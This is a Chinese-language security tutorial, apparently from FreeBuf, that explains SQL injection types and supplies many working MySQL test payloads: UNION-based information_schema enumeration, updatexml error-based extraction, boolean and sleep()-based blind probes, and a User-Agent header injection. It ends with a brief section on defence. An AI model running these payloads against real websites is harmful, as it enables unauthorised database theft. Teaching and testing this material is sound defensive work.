freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

攻击模式库—Sql注入
2023-11-15 17:25:05

1.概念

SQL(Structured Query Language),结构化查询语言,是一种用于数据库中的标准数据查询语言。SQL注入就是用户特意构造的SQL语句拼接到SQL执行语句中,最终欺骗数据库服务器执行用户构造的SQL命令,从而达到攻击的目的。SQL注入的直接危害是导致数据泄漏,此外根据数据的使用场景,SQL注入还会导致服务DOS、服务器被远程控制等一系列危害。

2.攻击原理

SQL注入的攻击原理就是涉及到数据库的操作,由于对用户的输入没有做参数化查询(预编译)、白名单校验和特殊字符转义等防护,导致执行恶意构造的sql语句对数据进行操作。

  • SQL注入分类

按照提交的数据类型可分为:数字型注入、字符型注入;按照注入模式可以分为:union联合注入、报错注入、布尔盲注、时间盲注、堆查询注入、HTTP头部注入。以下对按数据类型注入举例介绍:

  • 数值型注入:

SQL执行参数为数值类型,攻击者在输入数值后面增加注入的SQL语句,来改变原始查询的结构或增加额外的查询条件,从而实现注入。例如参数id存在sql注入风险,Payload:?id = 1 and 1=1,如果增加条件1=1后,返回结果与原结果一样,当注入?id = 1 and 1=2 ,增加条件1=2后,返回结果与原结果一样或报错,则存在数值型注入问题。

  • 字符型注入

SQL执行参数为字符类型,攻击者在输入字符后拼接单或双引号等闭合符号以及注入的SQL语句,来改变原始查询的结构或增加额外的查询条件,从而实现注入。例如参数name存在sql注入风险,Payload:?name = x’ and 1=1--’ (这里假设字符串闭环符号为单引号),如果增加’ and 1=1--'后,返回结果与原结果一样,当注入?id = 1 and 1=2 name = x’ and 1=2--’ ,增加’ and 1=2--'后,返回结果与原结果一样或报错,则存在字符型注入问题。


常见的注入闭合符有:(1)?name=1’ 单引号;(2)?name=1” 双引号;(3) ?name=1’) 单引号+括号;(4)?name=1”) 双引号+括号。

  • SQL注入相关的特殊字符

数据库

特殊字符

描述

转义序列

MySql

单引号

\’

MySql

双引号

\”

MySql

\

反斜杠

\\

MySql

_

下划线

\_

MySql

%

百分号

\%

Oracle

反斜杠

Oracle

/

斜杠

//escape’/’

Oracle

_

下划线

/_escape’/’

Oracle

%

百分号

/%escape’/’

DB2、SQL Server

单引号

3.测试验证:

Sql注入测试验证推荐使用sqlmap工具(下载地址: https://sqlmap.org/),该工具可以有很多测试脚本,可以实现批量注入测试。

3.1 union联合注入

联合查询注入是SQL注入的一种,通过在原有的SQL语句中添加UNION(联合)操作,将恶意构造的SQL语句与应用程序的SQL语句进行联合,从而对数据库进行非法操作。攻击者可以检查请求参数中是否存在可控的注入点,根据该参数查询数据库内容会在请求中返回显示,这种情况可以尝试union联合注入,通过联合查询在 SELECT 子句中获取攻击者想要的数据。

  • 举例:

假设一个Web应用程序正在执行以下 SELECT 语句以获取用户信息:

SELECT * FROM users WHERE username = 'admin'

攻击者可以构造union语句注入,查找显示列:

' UNION SELECT 1, 2, 3, 4 %23

拼接之后:

SELECT * FROM user WHERE username = 'admin' UNION SELECT 1, 2, 3, 4 %23

活动显示查询的对应列

  • 其他payload

查数据库:union select schema_name from information_schema.schemata limit 0,1

查询表名:union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() limit 0,1

查询列名:union select column_name,2,3,4,5 from information_schema.columns where table_name='[表名]' limit 0,1

查表数据:union select [列名1],[列明2],3,4,5 from [表名] limit 0,1

  • 特征模式总结:

存在可控参数点,且参数查询内容在页面中返回。

3.2报错注入

SQL报错注入是一种利用数据库机制来人为制造错误条件的攻击方式。通过这种方式,攻击者可以改变查询的结果,从而获得敏感信息或者执行恶意操作。

例如,一个典型的SQL报错注入攻击可能看起来像这样:

' or updatexml(1,concat(0x7e,database(),0x7e),1)--+。

这种攻击方式利用了数据库的某些机制,如XML函数或者注入漏洞,来制造错误条件。通过改变查询的结果,攻击者可以从错误信息中获取敏感信息或者执行恶意操作。

  • 报错函数:

不同的数据库有不同的报错函数。以下是一些常见的数据库和它们的报错函数:

在MySQL中,可以使用一些特定的函数来制造报错,例如updatexml()、extractvalue()、floor()、exp()等。

在Oracle数据库中,可以使用“ORA_ERR_*”系列函数来获取错误信息。

在SQL Server中,可以使用“ERROR_*”系列函数来获取错误信息。

在PostgreSQL中,可以使用“E_*”系列函数来获取错误信息。

这些函数可以用于获取错误代码、错误消息、错误位置等信息。

以下是MySQL中常用的报错函数介绍:

数据库

函数

作用

Mysql

updatexml (XML_doc, XPath, new_value);

MYSQL对xml文档进行查询和修改的函数。

Mysql

extractvalue(XML_document,xpath_string)

MYSQL对xml文档进行查询的函数。

Mysql

floor()

MYSQL中用来取整的函数。

Mysql

Rand()

随机生成0~1范围内的小数

测试payload:

SQL报错型注入只会在SQL回显错误时才会使用,不同错误函数使用方法和报错机制不同,以updatexml函数为例,常用测试payload有:

常见信息:?name=1’ or updatexml(1, concat(0x7e, (select version()), 0x7e), 0) %23

查数据库:[闭合符号] or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1)), 0) %23

查询表名:[闭合符号] or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 0) %23

查询列名:[闭合符号] or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='[表名]' limit 0,1)), 0) %23

查表数据:[闭合符号] or updatexml(1, concat(0x7e, (select [列名] from [表名] limit 0,1)), 0) %23

Payload中[sql语句]可以替换成想要获取信息的SQL。

  • 特征模式总结:

存在可控参数点,且输入点未屏蔽数据库报错信息,将报错信息返回。

3.3 布尔类型盲注

布尔类型盲注是利用数据库的布尔逻辑判断机制进行攻击,相较于显错注入,不会显性响应报错信息,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。

布尔盲注函数:

在进行布尔类型盲注攻击时,攻击者需要了解目标数据库的报错函数和机制,以便更好地进行猜测和推断。此外,攻击者还需要掌握一些常用的SQL语句和函数,借助substr()、ascii()、mid()、length()等函数构造布尔注入测试语句。

测试payload:

检测盲注:[闭合符号] and 1=2 %23

常见信息:

?name=1’ and substr(user(), 1, 1)='r' %23

?name=1’ and ascii(mid(version, 1, 1))=97 %23

查数据库:

[闭合符号] and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=10), 1=1, 1=2) %23

[闭合符号] and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))=109, 1=1, 1=2) %23

查询列名:

[闭合符号] and if((length(select column_name from information_schema.columns where table_name=[表名] limit 0,1)=10), 1=1, 1=2) %23

[闭合符号] and if((ascii(mid((select columns from information_schema.columns where table_name=[表名] limit 0,1), 1, 1)))=109, 1=1, 1=2) %23

查表数据:

[闭合符号] and ord(mid(select table_name from information_schema.tables where table_schema = ‘login’ limit 0, 1), 1, 1))=102 %23

[闭合符号] and if(length((select count([列名]) from [表名]))=5, 1=1, 1=2) %23

[闭合符号] and if(ascii(mid((select count([列名]) from [表名]), 1, 1))=101, 1=1, 1=2) %23

  • 特征模式总结:

存在可控参数点,且Web页面仅能返回true和false的响应错信息。

3.4 时间类型盲注

基于时间的盲注是利用数据库执行查询的时间差来判断注入语句是否成功执行,与布尔类型盲注不同,基于时间的盲注不依赖于目标数据库的返回结果,而是通过观察页面执行时间来判断注入语句是否被成功执行。

基于时间的盲注函数:

基于时间的盲注通常使用sleep()函数来实现延时效果。sleep函数的参数是睡眠时间,单位为秒。攻击者可以根据需要调整睡眠时间,使得注入语句在执行时出现不同程度的延时。

测试payload:

检测盲注:[闭合符号] and sleep(3) %23

常见信息:

?name=1’ and if(mid((select database()), 1, 1)=’I’, sleep(3), 0) %23

查数据库:

[闭合符号] and if((select count(*) from information_schema.tables where table_schema=database())=10, sleep(3), 1=1) %23

查询列名:

[闭合符号] and if((select count(*) from information_schema.columns where table_name=[表名])=10, sleep(3), 1=1) %23

  • 特征模式总结:

存在可控参数点,且Web页面没有可区分的响应信息。

3.4 HTTP头部注入

HTTP头部注入是一种针对HTTP请求头的注入攻击方式。攻击者通过在请求头中注入恶意代码,使得目标网站在处理请求时受到攻击。常见的HTTP头部注入类型包括Cookie注入、Referer注入、User-Agent注入和XFF注入等。

在HTTP头部注入攻击中,攻击者需要了解目标网站的请求头结构和处理方式,以便构造出能够成功注入的恶意请求头。通过在请求头中添加特定的关键字或者构造特定的参数值,攻击者可以使得目标网站在处理请求时执行恶意代码或者跳转到攻击者指定的页面。

  • 特征模式总结:

请求头字段作为参数注入点,与数据库进行交付,最终在响应信息中体现

例如:假设User-Agent存在注入,修改User-Agent头,发现响应信息中回显输入的User-Agent头信息,推测该字段可能入库,存在注入问题,通过以下payload验证:

test' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

此处语句是为了获取数据库信息,'1'='1是为了闭合后台语句的单引号。若回显信息包含数据库信息,则说明存在注入。

4. SQL注入防御措施

SQL注入防御业界推荐做法是使用预编译的SQL语句(参数化查询),但实际情况是这种方法不能解决所有问题,业务场景复杂,还要结合白名单校验、特殊字符转义等方式进行防御。

一般SQL注入防御策略可以参考如下原则:

1700040240_65548e302656baca4f4ef.png!small?1700040240722


# 网络安全 # web安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录